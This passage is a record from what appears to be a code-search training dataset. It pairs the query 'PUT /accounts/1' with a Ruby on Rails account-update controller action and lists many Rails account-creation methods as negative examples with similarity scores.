|format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_accounts\n end", "def create\n @api_v1_account = Api::V1::Account.new(api_v1_account_params)\n\n respond_to do |format|\n if @api_v1_account.save\n format.html { redirect_to @api_v1_account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_account }\n else\n format.html { render :new }\n format.json { render json: @api_v1_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to dashboard_path, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@account = Account.new(:name => params[:name])\n\t\trespond_to do |format|\n\t\t\tif @account.save\n\t\t\t\tformat.json { render json: @account, status: :created }\n\t\t\telse\n\t\t\t\tformat.json { render json: @account.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n\n if ( user )\n user_id = user[\"id\"]\n balance = account_params[\"balance\"] \n account = Account.new(user_id: user_id, balance: balance)\n\n if account.save\n render json: account, status: :created\n else\n render json: account.errors, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n \n end", "def create_account(options)\n form_data = options.merge({ 'action' => 'createaccount' })\n res, dummy = make_api_request(form_data)\n res\n end", "def create\n @account = Account.new(account_params)\n @account.user_id = current_user.id\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n @account.user_created_id = current_user.id\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: I18n.t('account.controller.create') }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n response = @account_api.create(params)\n\n respond_to do |format|\n if response[:status] == 201\n format.html { redirect_to accounts_path , notice: 'Account successfully created.' }\n format.json { render :show, status: :created, location: user_path(response[:body]) }\n else\n format.html { redirect_to new_account_path, alert: formatted_error_message(response).join(\"<br/>\").html_safe }\n format.json { render json: response[:body], status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_url, notice: 'Account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Get the credit card details submitted by the form\n @account = Account.new\n authorize @account\n @account.user_id = account_params[:user_id]\n @account.package_id = account_params[:package_id];\n @user = User.find(account_params[:user_id])\n @account.users << @user\n @account.active = FALSE\n\n if @account.save\n render json: {status: :created, account: @account}\n else\n render json: { error: @account.errors, status: :unprocessable_entity }\n end\n end", "def create\n\t\t@account = Account.new(params[:account])\n\n\t\trespond_to do |format|\n\t\t\tif @account.save\n\t\t\t\t# If we provide tokens (manually)\n\t\t\t\tif !@account.tokens?\n\t\t\t\t\tredirect_to '/auth/twitter?screen_name=' + @account.username\n\t\t\t\t\treturn\n\t\t\t\telse\n\t\t\t\t\tformat.html { redirect_to @account, notice: 'Account was successfully created.' }\n\t\t\t\t\tformat.json { render json: @account, status: :created, location: @account }\t\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @account.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @user_account = UserAccount.new(user_account_params)\n\n respond_to do |format|\n if @user_account.save\n format.html { redirect_to @user_account, notice: 'User account was successfully created.' }\n format.json { render :show, status: :created, location: @user_account }\n else\n format.html { render :new }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @account = Account.new(params[:account])\n\n respond_to do |format|\n \n if @account.save\n sign_in(@account)\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n \n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_account(account_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts'\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.post query_url, headers: headers, parameters: account_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: t('common.created', model: human_name) }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n #@account.user_id = current_account.id\n respond_to do |format|\n if @account.save\n format.html { redirect_to root_url, notice: 'Account was successfully created.' }\n format.json { render :json => @account.as_json}\n format.js {}\n else\n format.html { render :action => :new}\n format.json { render :json => @account.as_json, :status => :unprocessable_entity}\n format.js {}\n end\n end\n end", "def create\n @account = current_user.accounts.new(params[:account])\n\n respond_to do |format|\n if @account.save\n flash[:notice] = 'Account was successfully created.'\n format.html { redirect_to([current_user, @account]) }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @account = current_user.accounts.new(account_params)\n if @account.save\n redirect_to @account, notice: 'Account was successfully created.'\n else\n render :new\n end\n end", "def create\n flash[:notice] = 'The account was successfully created.' if account.save\n respond_with(account)\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n\n # sign in user\n user = @account.users.first\n sign_in(:user, user)\n @account.update_attributes(user_id: user.id)\n\n format.html { redirect_to prism_root_path(@account), notice: 'Welcome to Satiisfy!' }\n format.json { render action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n @account.zip = Account.random_zip\n @account.user_id = @current_user.id if @current_user\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Current.book.accounts.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n #format.html { redirect_to(@account, :notice => 'Account was successfully created.') }\n format.json { render :json => @account, :status => :created, :location => @account }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n #format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @account = PhoneAccount.new(params[:phone_account])\n current_user.person.phone_accounts << @account\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully created.') }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => 'new' }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(params)\n put('v1/account', params)\n end", "def create\n # authorize @accounts\n @account = Account.new(account_params)\n @account.user_id=current_user.id\n if @account.save\n redirect_to @account, notice: \"Account was successfully created.\" \n else\n render :new\n end\n end", "def save\n Account.create!(account_params.map do |data|\n {\n type: :facebook,\n user: current_user,\n name: data[:name],\n data: data\n }\n end)\n\n render json: success\n end", "def create_account_link\n render json: Stripe::AccountLink.create(account_params.to_h), status: :created\n end", "def create\n @acct = EmployeeAcct.new(employee_acct_params)\n @acct.account = current_account\n\n respond_to do |format|\n if @acct.save\n format.html { redirect_to \"/\", notice: 'Employee Account was successfully created.' }\n format.json { redirect_to \"/\", status: :created, location: @acct }\n else\n format.html { render :new }\n format.json { render json: @acct.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_account(payload)\n post(url_, payload)\n end", "def create\n @user_account = UserAccount.new(params[:user_account])\n\n respond_to do |format|\n if @user_account.save\n format.html { redirect_to user_account_url(@user_account.user, @user_account), notice: 'User account was successfully created.' }\n format.json { render json: @user_account, status: :created, location: @user_account }\n format.xml { render xml: @user_account, status: :created, location: @user_account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n format.xml { render xml: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n instance_variable_set(:\"@#{controller_name.singularize}\", controller_name.classify.constantize.new(account_params))\n\n respond_to do |format|\n if account.save\n format.html { redirect_to account, notice: \"#{controller_name.singularize.humanize} was successfully created.\" }\n format.json { render :show, status: :created, location: account }\n else\n format.html { render :new }\n format.json { render json: account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_account\n unless authenticated?\n payload = encode( { :user => { :github_account => github_user } } )\n response = site['users.json'].post payload, :content_type => :json\n !response.nil?\n end\n end", "def create_account\n\n end", "def create\n #@current_account = CurrentAccount.new(current_account_params)\n @current_account = current_user.current_accounts.new(current_account_params)\n\n respond_to do |format|\n if @current_account.save\n format.html { redirect_to @current_account, flash: { success: \"AccountPayable was successfully created.\" } }\n format.json { render :show, status: :created, location: @current_account }\n else\n format.html { render :new }\n format.json { render json: @current_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @house_account = HouseAccount.new(house_account_params)\n puts \"got params #{house_account_params}\"\n if @house_account.save\n render json: @house_account, status: :created, location: @house_account\n else\n render json: @house_account.errors, status: :unprocessable_entity\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n\n if params[:commit] == \"Create and Go To Account\"\n url = account_path(@account)\n else\n url = new_account_path\n end\n\n flash[:notice] = \"Account was successfully created\"\n format.html { redirect_to url }\n format.json { render :show, status: :created, location: @account }\n else\n flash[:error] = \"Unable to save account: #{@account.errors.full_messages.to_sentence}\"\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @heroku_account = Heroku::Account.new(heroku_account_params)\n\n respond_to do |format|\n if @heroku_account.save\n format.html { redirect_to @heroku_account, notice: 'Account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @heroku_account }\n else\n format.html { render action: 'new' }\n format.json { render json: @heroku_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account_user = AccountUser.new(account_user_params)\n respond_to do |format|\n if @account_user.save\n format.html { redirect_to @account_user, notice: 'Account user was successfully created.' }\n format.json { render :show, status: :created, location: @account_user }\n else\n format.html { render :new }\n format.json { render json: @account_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = IphoneAccount.new(params[:iphone_account])\n current_user.person.iphone_accounts << @account\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully created.') }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(name: account_params[:name])\n \n respond_to do |format|\n if @account.save\n user = @account.users.build(account_params[:users_attributes])\n if user.save\n session[:user_id] = user.id\n format.html { redirect_to samples_path, notice: 'account was successfully created.' }\n format.json { render samples_path, status: :created, location: @account }\n else\n format.html { redirect_to register_path, notice: 'Error, in user save' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :new, notice: 'Error, in account save' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if CreateAccount.new(@account).save\n format.html { redirect_to first_user_registration_url, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account.cname }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n account = Account.find_by(email: params[:email].downcase)\n if !account.nil? && account.authenticate(params[:password])\n render json: { auth: auth_token(account), activated: account.activated }\n else\n render json: { errors: \"Password does not match\" }, status: 400\n end\n end", "def create\n @personal_account = PersonalAccount.new(params[:personal_account])\n\n respond_to do |format|\n if @personal_account.save\n format.html { redirect_to @personal_account, :notice => 'Personal account was successfully created.' }\n format.json { render :json => {:data => @personal_account , :success => true }, :status => :created, :location => @personal_account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => {:msg => @personal_account.errors, :status => :unprocessable_entity} }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n @account.company_id = current_user.companies.find(params[:company_id]).id\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render_with_protection action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render_with_protection json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = @user.accounts.new(params[:account])\n\n @account.balance = 0\n @account.principal = 0\n @account.allocation_rate = params[:allocation_rate]\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = @project.accounts.build(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n @record = [@project, @account]\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def accounts\n get('/accounts')['accounts']\n end", "def create\n @account = BlackberryAccount.new(params[:blackberry_account])\n current_user.person.blackberry_accounts << @account\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to( accounts_path, :notice => 'Account was successfully created.') }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_account_user(options = {})\n post('accountuser?_method=PUT', options)\n end", "def all_accounts\n puts params[:id]\n accounts = []\n user = User.find params[:id]\n user.accounts.each do |f|\n accounts << {id:f.id, title: f.title}\n end\n render json: accounts\n end", "def create\n account = Account.find(params[:account_id].to_i)\n @transaction = account.transactions.build(transaction_params)\n if @transaction.save\n account.update(balance: account.get_balance)\n transaction_json = TransactionSerializer.new(@transaction).serialized_json\n render json: transaction_json\n else\n render json: {\n errors: @transaction.errors.full_messages\n }\n end\n end", "def create\n @t_user_account = TUserAccount.new(t_user_account_params)\n\n respond_to do |format|\n if @t_user_account.save\n format.html { redirect_to @t_user_account, notice: 'T user account was successfully created.' }\n format.json { render :show, status: :created, location: @t_user_account }\n else\n format.html { render :new }\n format.json { render json: @t_user_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(params[:account])\n @account.member = current_member\n logger.info @account.inspect\n \n respond_to do |format|\n if @account.save\n flash[:notice] = 'Thanks for signing up!' \n format.html { \n redirect_back_or_default('/')\n }\n format.xml do\n headers[\"Location\"] = account_url(@account)\n render :nothing => true, :status => \"201 Created\"\n end\n else\n flash[:notice] = 'There was a problem creating your account, but we can address that later. If you need to sell something right now, please contact support.'\n redirect_back_or_default('/')\n format.xml { render :xml => @account.errors.to_xml }\n end\n end\n end", "def create\n # params[:account][:project_id]=session[:project]\n @account=Account.new params[:account]\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @tr_account = TrAccount.new(params[:tr_account])\n\n respond_to do |format|\n if @tr_account.save\n format.html { redirect_to @tr_account, :notice => 'Tr account was successfully created.' }\n format.json { render :json => @tr_account, :status => :created, :location => @tr_account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tr_account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_users(accountId, model) path = \"/api/v2/accounts/#{accountId}/users\"\n post(path, model, {}, AvaTax::VERSION) end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @a_account = AAccount.new(a_account_params)\n\n respond_to do |format|\n if @a_account.save\n format.html { redirect_to @a_account, notice: 'AAccount was successfully created.' }\n format.json { render :show, status: :created, location: @a_account }\n else\n format.html { render :new }\n format.json { render json: @a_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @my_account = MyAccount.new(my_account_params)\n\n respond_to do |format|\n if @my_account.save\n format.html { redirect_to @my_account, notice: 'My account was successfully created.' }\n format.json { render :show, status: :created, location: @my_account }\n else\n format.html { render :new }\n format.json { render json: @my_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @transaction = Transaction.new(account_params)\n #@account.user_id = current_user.id\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = MasterData::Account.new(account_params_with_author)\n authorize @account, :create?\n\n respond_to do |format|\n if @account.update_aliases(@aliases) && @account.save\n # keep @account.save at the end of the condition bellow to ensure the right object is returned during rendering\n\n format.html do\n render :show, notice: \"Account was successfully created.\"\n end\n format.json do\n render json: @account, status: :created, location: :api_v2_accounts\n end\n else\n format.html { render :new }\n format.json do\n render json: @account.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def add_user_for_tenant(args = {}) \n post(\"/tenants.json/#{args[:tenantId]}/users\", args)\nend", "def create\n @account = Account.new(account_params)\n\n if @account.save\n redirect_to root_path, notice: 'Account was successfully created.'\n else\n redirect_to root_path, alert: 'Some thing went wrong! try more...'\n end\n end", "def create\n @email_account = current_user.email_accounts.new(email_account_params)\n\n respond_to do |format|\n if @email_account.save\n format.html { redirect_to @email_account, notice: 'Email account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @email_account }\n else\n format.html { render action: 'new' }\n format.json { render json: @email_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @capital_account = CapitalAccount.new(params[:capital_account])\n\n respond_to do |format|\n if @capital_account.save\n format.html { redirect_to @capital_account, :notice => 'Capital account was successfully created.' }\n format.json { render :json => @capital_account, :status => :created, :location => @capital_account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @capital_account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @kakao_account = KakaoAccount.new(kakao_account_params)\n\n respond_to do |format|\n if @kakao_account.save\n format.html { redirect_to @kakao_account, notice: 'Kakao account was successfully created.' }\n format.json { render :show, status: :created, location: @kakao_account }\n else\n format.html { render :new }\n format.json { render json: @kakao_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(body = {})\n @client.account.create(body)\n end", "def new\n @account = Account.new\n\t\t@account.users.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end", "def create\n @company_account = CompanyAccount.new(params[:company_account])\n\n respond_to do |format|\n if @company_account.save\n format.html { redirect_to @company_account, :notice => 'Company account was successfully created.' }\n format.json { render :json => {:data => @company_account , :success => true }, :status => :created, :location => @company_account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => {:msg => @company_account.errors, :status => :unprocessable_entity} }\n end\n end\n end", "def create\n respond_to do |format|\n create_account = CreateAccount.new(@account, super_and_current_users)\n if create_account.save\n format.html { redirect_to [:proprietor, @account], notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account.cname }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n accountParams[:accounting_method] = accountParams[:accounting_method].to_i\n accountParams[:payor_type] = accountParams[:payor_type].to_i\n accountParams[:print_statement] = accountParams[:print_statement].to_i\n accountParams[:rx_charge_description] = accountParams[:rx_charge_description].to_i\n accountParams[:statement_type] = accountParams[:statement_type].to_i\n\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @analytic_account = AnalyticAccount.new(analytic_account_params)\n\n respond_to do |format|\n if @analytic_account.save\n format.html { redirect_to wizard_index_path, notice: 'Analytic account was successfully created.' }\n\n else\n format.html { render :new }\n format.json { render json: @analytic_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n next_path = if params[:commit] == \"Kaydet ve Yeni Ekle\"\n new_account_path\n else\n accounts_path\n end\n format.html { redirect_to next_path, notice: 'Hesap oluşturuldu' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @scouts_account = ScoutsAccount.new(scouts_account_params)\n\n respond_to do |format|\n if @scouts_account.save\n format.html { redirect_to @scouts_account, notice: 'Scouts account was successfully created.' }\n format.json { render :show, status: :created, location: @scouts_account }\n else\n format.html { render :new }\n format.json { render json: @scouts_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @account = Account.new(account_params)\n @account = current_user.accounts.new(account_params)\n @account.role = params[:role][:name]\n @account.categories = params[:categories]\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.create!(user_params)\n response = { message: Message.account_created }\n json_response(response, :created)\n end", "def create\n @tw_account = TwAccount.new(tw_account_params)\n\n respond_to do |format|\n if @tw_account.save\n format.html { redirect_to @tw_account, notice: 'The Account was successfully created.' }\n format.json { render :show, status: :created, location: @tw_account }\n else\n format.html { render :new }\n format.json { render json: @tw_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end" ]
[ "0.77059096", "0.74428105", "0.6998076", "0.68458116", "0.684345", "0.68387824", "0.6831728", "0.680515", "0.67691255", "0.67659897", "0.67633784", "0.6748523", "0.67459255", "0.67459255", "0.67459255", "0.67459255", "0.67459255", "0.67459255", "0.67459255", "0.67459255", "0.67459255", "0.6718893", "0.6717981", "0.67089885", "0.6688734", "0.66761726", "0.6670266", "0.6637433", "0.6631494", "0.66195166", "0.6546867", "0.65448886", "0.65157336", "0.65139735", "0.6495438", "0.6480917", "0.6480207", "0.64739954", "0.64633816", "0.6437692", "0.6415147", "0.64144605", "0.64051354", "0.6398294", "0.6366913", "0.63571393", "0.6335323", "0.63152546", "0.6306798", "0.63049346", "0.6304565", "0.62984943", "0.6295067", "0.6290364", "0.62866896", "0.6281143", "0.62739056", "0.6270652", "0.6267058", "0.6266913", "0.62479", "0.62419343", "0.6220982", "0.62107843", "0.61961526", "0.6195773", "0.6195644", "0.61902434", "0.6177913", "0.61713654", "0.61606115", "0.61172765", "0.6116814", "0.61156005", "0.6115512", "0.6113612", "0.6110368", "0.61041754", "0.6099716", "0.6098599", "0.60970706", "0.60903096", "0.6088201", "0.60777324", "0.6070191", "0.6060891", "0.60569215", "0.60554177", "0.605015", "0.6048576", "0.60446787", "0.60344815", "0.60230565", "0.60128933", "0.6012377", "0.6001863", "0.5995676", "0.599518", "0.5984407", "0.5980088", "0.5978621" ]
0.0
-1
PUT /accounts/1 PUT /accounts/1.json
def update @account = Account.find(params[:id]) respond_to do |format| if @account.update_attributes(account_params) format.html { redirect_to @account, notice: 'Account was successfully updated.' } format.json { head :no_content } else flash[:error] = @account.errors.empty? ? "Error" : @account.errors.full_messages.to_sentence format.html { render action: "edit" } format.json { render json: @account.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update \n begin\n @resource = Account.find(params[:id])\n @resource.update_attributes!(params[:account])\n render :response => :PUT\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end", "def update\n authorize @account\n if @account.update(account_params)\n render json: { status: :ok, account: @account }\n else\n render json: {error: @account.errors, status: :unprocessable_entity }\n end\n end", "def update\n respond_to do |format|\n if @api_v1_account.update(api_v1_account_params)\n format.html { redirect_to @api_v1_account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_account }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n account = Account.find_by(user_id: user[\"id\"], id: params[:id])\n \n if ( account == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n if account.update(account_params)\n render json: account, status: :ok\n else\n render json: account.errors, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_account(id, params)\n put(\"accounts/#{id}\", account: params)\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @account = Account.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @account.update_attributes(params[:account])\r\n format.html { redirect_to @account, notice: 'Account was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @account.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update_user(id, accountId, model) path = \"/api/v2/accounts/#{accountId}/users/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end", "def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to quick_launch_path, notice: 'Account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 